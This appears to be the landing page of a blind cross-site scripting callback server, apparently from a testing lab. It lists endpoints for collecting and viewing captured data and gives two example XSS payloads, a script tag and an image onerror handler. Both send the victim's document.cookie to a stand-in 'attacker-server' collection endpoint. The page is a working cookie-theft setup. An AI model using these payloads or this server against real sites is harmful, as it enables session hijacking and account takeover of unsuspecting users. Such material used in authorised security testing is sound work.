Attacker Callback Server

This server receives blind XSS callbacks.

Endpoints:

• GET/POST /collect - Receive XSS callbacks
• GET /captured - View all captured data
• DELETE /captured - Clear captured data

Example XSS Payloads:

<script>fetch('http://attacker-server:4000/collect?cookie='+document.cookie)</script>

<img src=x onerror="new Image().src='http://attacker-server:4000/collect?c='+document.cookie">

Captured Data: 0